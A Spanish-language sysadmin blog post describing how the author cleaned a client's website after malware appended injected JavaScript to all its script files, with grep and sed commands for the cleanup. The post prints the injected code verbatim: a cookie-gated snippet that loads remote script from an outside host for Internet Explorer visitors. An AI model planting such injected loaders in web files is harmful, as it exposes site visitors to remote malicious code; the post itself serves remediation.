Portada del sitio > Sistemas > Administración > WWW > Desinfectar Virus sitio web.

Desinfectar Virus sitio web.

Miércoles 15 de enero de 2014, por Aitor Roma Vázquez

Un virus entro en una web de un cliente modificando todos los javascripts e inyectando un codigo javascript que hacia una llamada a una web externa.

Seguramente como muchos virus que se inyectan en las webs estos roban información de los clientes conectados un ejemplo de ello es el proyecto Beef Project que sirve para hacer phishing a las victimas conectadas donde hay su hook javascript.

despues de analizar el los archivos me fije que todos coincidían con lo mismo la misma web y en el final de los archivos un script parecido a esto.

/*b0c732*/
function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
if (navigator.userAgent.indexOf("MSIE") != -1){if(navigator.cookieEnabled == true) {var user39 = getCookie("nn09");if (user39 !=="nn"){setCookie("nn09", "nn", 7, "/"); cookien09n();}}} function cookien09n(){document.write("<script src='http://www.glidepoker.com/wp-admin/7cTJ6fPz.php?id=125876872' type='text/javascript'></" + "script>");}
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");}

/*/b0c732*/

Ello me llevo a buscar la url en todos los ficheros y crear una lista de ficheros infectados así.

$ cd /var/www/vhosts
$ grep -r glidepoker *  |cut -d ":" -f 1 > js.txt

Una vez con el listado de ficheros infectados, procedí a crear un script que eliminara las ultimas 6 lineas de los ficheros que es rango de lineas donde estaba el inject.
eso me llevo a crear un archivo asi:

$ nano desinfecta.sh
#!/usr/bin/env bash

sed -i -e :a -e '$d;N;2,6ba' -e 'P;D' $1

chmod +x desinfecta.sh

y por ultimo ejecutar la solución así.

$ for infected in $(cat js.txt) ;do ./desinfecta.sh $infected ;done

Por ultimo se deben cambiar las passwords de la cuenta de FTP que es por donde suelen entrar.

Desinfectar Virus sitio web.

¿Un mensaje, un comentario?